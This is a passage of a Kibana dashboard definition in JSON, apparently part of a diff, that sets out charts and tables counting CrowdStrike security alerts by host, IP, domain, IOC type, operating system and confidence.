"7f2f6ede-7728-4214-a79c-27931101ec10", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "a6424e3b-fc6e-460e-8385-5a410a690d34": { - "columnOrder": [ - "1aa38945-d8a3-4137-b91d-ca2b6f9b140a", - "40dcaef5-e4f3-47e9-8e51-748b882f17e1" - ], - "columns": { - "1aa38945-d8a3-4137-b91d-ca2b6f9b140a": { - "customLabel": true, - "dataType": "ip", - "isBucketed": true, - "label": "Host IP", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "40dcaef5-e4f3-47e9-8e51-748b882f17e1", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.ip" - }, - "40dcaef5-e4f3-47e9-8e51-748b882f17e1": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "7f2f6ede-7728-4214-a79c-27931101ec10", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "40dcaef5-e4f3-47e9-8e51-748b882f17e1" - ], - "layerId": "a6424e3b-fc6e-460e-8385-5a410a690d34", - "layerType": "data", - "position": "top", - "seriesType": "bar_stacked", - "showGridlines": false, - "xAccessor": "1aa38945-d8a3-4137-b91d-ca2b6f9b140a" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": false - }, - "preferredSeriesType": "bar_stacked", - "title": "Empty XY chart", - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4", - "w": 24, - "x": 24, - "y": 31 - }, - "panelIndex": "4b2cc8d9-8af6-40d0-a91f-71d717ff1bd4", - "title": "Alert over Host IP [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-e83ee069-a761-49ed-878d-c9972e55a388", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "e83ee069-a761-49ed-878d-c9972e55a388": { - "columnOrder": [ - "910bf38d-80f2-4783-9e71-d8bb53f06700", - "0465e312-67ef-4386-941e-55db68a8b075" - ], - "columns": { - "0465e312-67ef-4386-941e-55db68a8b075": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "910bf38d-80f2-4783-9e71-d8bb53f06700": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Hostname", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "0465e312-67ef-4386-941e-55db68a8b075", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.hostname" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "9a07642d-eec9-4213-b1ae-bb5adbbcf25c", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "0465e312-67ef-4386-941e-55db68a8b075" - ], - "layerId": "e83ee069-a761-49ed-878d-c9972e55a388", - "layerType": "data", - "position": "top", - "seriesType": "bar_stacked", - "showGridlines": false, - "xAccessor": "910bf38d-80f2-4783-9e71-d8bb53f06700" - } - ], - "legend": { - "isVisible": true, - "position": "right" - }, - "preferredSeriesType": "bar_stacked", - "title": "Empty XY chart", - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "69f87d85-d0f2-4fb3-9e02-e970098547db", - "w": 24, - "x": 0, - "y": 46 - }, - "panelIndex": "69f87d85-d0f2-4fb3-9e02-e970098547db", - "title": "Alert over Hostname [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-4e7a254a-d432-4988-a5cb-3de38f841cc9", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "4e7a254a-d432-4988-a5cb-3de38f841cc9": { - "columnOrder": [ - "91fec88d-308d-4dbd-a1a9-241d26c4f894", - "fed2b0eb-a506-462a-af98-71f79762262e", - "18a23919-ca9b-4787-8eb1-b6fac3faa5b6" - ], - "columns": { - "18a23919-ca9b-4787-8eb1-b6fac3faa5b6": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "91fec88d-308d-4dbd-a1a9-241d26c4f894": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Event ID", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "18a23919-ca9b-4787-8eb1-b6fac3faa5b6", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "event.id" - }, - "fed2b0eb-a506-462a-af98-71f79762262e": { - "customLabel": true, - "dataType": "date", - "isBucketed": true, - "label": "Timestamp", - "operationType": "date_histogram", - "params": { - "dropPartials": false, - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "d887537f-f1fd-404b-8327-8bf3b0d1fdfe", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "18a23919-ca9b-4787-8eb1-b6fac3faa5b6" - ], - "layerId": "4e7a254a-d432-4988-a5cb-3de38f841cc9", - "layerType": "data", - "position": "top", - "seriesType": "line", - "showGridlines": false, - "splitAccessor": "91fec88d-308d-4dbd-a1a9-241d26c4f894", - "xAccessor": "fed2b0eb-a506-462a-af98-71f79762262e" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": true - }, - "preferredSeriesType": "line", - "title": "Empty XY chart", - "valueLabels": "hide", - "valuesInLegend": true - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "940c98f0-56e7-4e29-88d2-07f160f579cb", - "w": 24, - "x": 24, - "y": 46 - }, - "panelIndex": "940c98f0-56e7-4e29-88d2-07f160f579cb", - "title": "Alert over Timestamp [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-a278b2d5-076e-409c-b9ca-2da50d6d0a09", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "bbcb4d86-6890-474c-9975-f1476711cfad", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "a278b2d5-076e-409c-b9ca-2da50d6d0a09": { - "columnOrder": [ - "5e0dee9c-395c-42a3-827b-9b796ecdd625", - "0d2426f2-1b70-47e2-84b2-5f36d948dc98" - ], - "columns": { - "0d2426f2-1b70-47e2-84b2-5f36d948dc98": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "5e0dee9c-395c-42a3-827b-9b796ecdd625": { - "customLabel": true, - "dataType": "number", - "isBucketed": true, - "label": "Confidence", - "operationType": "range", - "params": { - "includeEmptyRows": false, - "maxBars": "auto", - "ranges": [ - { - "from": 0, - "label": "", - "to": 1000 - } - ], - "type": "histogram" - }, - "scale": "interval", - "sourceField": "crowdstrike.alert.confidence" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "bbcb4d86-6890-474c-9975-f1476711cfad", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "axisTitlesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "fittingFunction": "None", - "gridlinesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "labelsOrientation": { - "x": 0, - "yLeft": 0, - "yRight": 0 - }, - "layers": [ - { - "accessors": [ - "0d2426f2-1b70-47e2-84b2-5f36d948dc98" - ], - "layerId": "a278b2d5-076e-409c-b9ca-2da50d6d0a09", - "layerType": "data", - "position": "top", - "seriesType": "bar_horizontal", - "showGridlines": false, - "xAccessor": "5e0dee9c-395c-42a3-827b-9b796ecdd625" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": false - }, - "preferredSeriesType": "bar_horizontal", - "tickLabelsVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "valueLabels": "hide", - "valuesInLegend": false - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "9af8495e-c5fb-4fee-ae54-1fffa46a4401", - "w": 48, - "x": 0, - "y": 61 - }, - "panelIndex": "9af8495e-c5fb-4fee-ae54-1fffa46a4401", - "title": "Alert over Confidence [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-d64a8cc0-006e-4e06-9e75-e32cf447cf41", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "d64a8cc0-006e-4e06-9e75-e32cf447cf41": { - "columnOrder": [ - "2cfe208a-17dc-40b1-91b1-820d4f4baa63", - "8c9420d4-4191-4b95-855b-edd55995e92a" - ], - "columns": { - "2cfe208a-17dc-40b1-91b1-820d4f4baa63": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "IOC Source", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "8c9420d4-4191-4b95-855b-edd55995e92a", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.alert.ioc_source" - }, - "8c9420d4-4191-4b95-855b-edd55995e92a": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Records", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "layerId": "d64a8cc0-006e-4e06-9e75-e32cf447cf41", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "8c9420d4-4191-4b95-855b-edd55995e92a" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2cfe208a-17dc-40b1-91b1-820d4f4baa63" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 15, - "i": "e69a2e95-217d-43d5-acae-811245c3e308", - "w": 24, - "x": 0, - "y": 78 - }, - "panelIndex": "e69a2e95-217d-43d5-acae-811245c3e308", - "title": "Alert by IOC Source [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-3d13796e-f0f8-45e1-b836-ad209d6cb1ba", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "3d13796e-f0f8-45e1-b836-ad209d6cb1ba": { - "columnOrder": [ - "427c4b9a-30ad-4f4a-a195-3b63686d3e56", - "98fd36cc-8ad0-42f1-a08a-8709150d1099" - ], - "columns": { - "427c4b9a-30ad-4f4a-a195-3b63686d3e56": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "IOC Type", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "98fd36cc-8ad0-42f1-a08a-8709150d1099", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.alert.ioc_type" - }, - "98fd36cc-8ad0-42f1-a08a-8709150d1099": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Records", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "layerId": "3d13796e-f0f8-45e1-b836-ad209d6cb1ba", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "98fd36cc-8ad0-42f1-a08a-8709150d1099" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "427c4b9a-30ad-4f4a-a195-3b63686d3e56" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 15, - "i": "53575ba2-1378-4f8a-990d-2c5c603ea0a2", - "w": 24, - "x": 24, - "y": 78 - }, - "panelIndex": "53575ba2-1378-4f8a-990d-2c5c603ea0a2", - "title": "Alert by IOC Type [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-3e217a16-1cad-407e-a29d-33fb0efd613e", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "3e217a16-1cad-407e-a29d-33fb0efd613e": { - "columnOrder": [ - "60741f14-245b-4258-938a-d2cb4e740b6f", - "b44ed009-e2ae-4836-94e7-aa543ed5e953" - ], - "columns": { - "60741f14-245b-4258-938a-d2cb4e740b6f": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Host OS Full Name", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "b44ed009-e2ae-4836-94e7-aa543ed5e953", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "host.os.full" - }, - "b44ed009-e2ae-4836-94e7-aa543ed5e953": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "e96f97bb-f9af-48e9-a677-945571469682", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "colorMapping": { - "assignments": [], - "colorMode": { - "type": "categorical" - }, - "paletteId": "eui_amsterdam_color_blind", - "specialAssignments": [ - { - "color": { - "type": "loop" - }, - "rule": { - "type": "other" - }, - "touched": false - } - ] - }, - "layerId": "3e217a16-1cad-407e-a29d-33fb0efd613e", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "b44ed009-e2ae-4836-94e7-aa543ed5e953" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "60741f14-245b-4258-938a-d2cb4e740b6f" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b", - "w": 24, - "x": 0, - "y": 93 - }, - "panelIndex": "eeaa1689-14d1-47b4-81f7-c72fcb03a75b", - "title": "Alert by OS Full Name [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-de65c5ed-b26c-419b-9a15-9928336a1964", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "de65c5ed-b26c-419b-9a15-9928336a1964": { - "columnOrder": [ - "598e03c3-d3d6-41c4-b512-6c181d224dd8", - "6c0d6d22-93ea-4bf6-80f4-822eaabf0893" - ], - "columns": { - "598e03c3-d3d6-41c4-b512-6c181d224dd8": { - "customLabel": true, - "dataType": "ip", - "isBucketed": true, - "label": "Source IP", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "source.ip" - }, - "6c0d6d22-93ea-4bf6-80f4-822eaabf0893": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "a6d5ef27-01ca-4160-b575-9912c400725a", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "598e03c3-d3d6-41c4-b512-6c181d224dd8", - "isMetric": false, - "isTransposed": false - }, - { - "columnId": "6c0d6d22-93ea-4bf6-80f4-822eaabf0893", - "isMetric": true, - "isTransposed": false - } - ], - "layerId": "de65c5ed-b26c-419b-9a15-9928336a1964", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {} - }, - "gridData": { - "h": 16, - "i": "d8841493-66ad-484a-8c0d-364af07dfc1d", - "w": 24, - "x": 24, - "y": 93 - }, - "panelIndex": "d8841493-66ad-484a-8c0d-364af07dfc1d", - "title": "Top 10 Source IP [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-96ed08f7-28f8-4a35-bcb6-699287f45a23", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "96ed08f7-28f8-4a35-bcb6-699287f45a23": { - "columnOrder": [ - "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef", - "48e386b0-f54e-43b1-a156-338fff479377" - ], - "columns": { - "48e386b0-f54e-43b1-a156-338fff479377": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Source Domain", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "48e386b0-f54e-43b1-a156-338fff479377", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "source.user.domain" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "f2b34b6b-b37a-4f69-8307-e1c4eb62e1b8", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "7ab2a2d3-28c0-4a7f-b944-817f8a2507ef", - "isMetric": false, - "isTransposed": false - }, - { - "columnId": "48e386b0-f54e-43b1-a156-338fff479377", - "isMetric": true, - "isTransposed": false - } - ], - "layerId": "96ed08f7-28f8-4a35-bcb6-699287f45a23", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {} - }, - "gridData": { - "h": 17, - "i": "563afa88-1775-4eb7-b9a4-623df26e9c9b", - "w": 24, - "x": 0, - "y": 109 - }, - "panelIndex": "563afa88-1775-4eb7-b9a4-623df26e9c9b", - "title": "Top 10 Source Domain [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "currentIndexPatternId": "logs-*", - "layers": { - "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9": { - "columnOrder": [ - "4bdc5759-4321-4d1c-97af-811435ad7854", - "0a4ab4bb-c951-448b-9c4c-a949d59074cd" - ], - "columns": { - "0a4ab4bb-c951-448b-9c4c-a949d59074cd": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false, - "format": { - "id": "number", - "params": { - "decimals": 0 - } - } - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "4bdc5759-4321-4d1c-97af-811435ad7854": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Destination Domain", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "destination.user.domain" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "indexPatternId": "logs-*", - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "0b9b2061-279c-431c-b5d4-c16b4f99feaa", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "4bdc5759-4321-4d1c-97af-811435ad7854" - }, - { - "columnId": "0a4ab4bb-c951-448b-9c4c-a949d59074cd", - "isMetric": true, - "isTransposed": false - } - ], - "layerId": "7b92f2c7-c7d0-4a5d-a24a-0e25193f6ce9", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {} - }, - "gridData": { - "h": 17, - "i": "fdd5aa72-947d-4a68-b912-5ab8bb724da3", - "w": 24, - "x": 24, - "y": 109 - }, - "panelIndex": "fdd5aa72-947d-4a68-b912-5ab8bb724da3", - "title": "Top 10 Destination Domain [Logs CrowdStrike]", - "type": "lens" - } - ], - "timeRestore": false, - "title": "[Logs CrowdStrike] Alert", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T12:27:19.674Z", - "id": "crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb:indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc:5c9cfcd1-2c7f-493f-86a5-002bcf501fde", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": 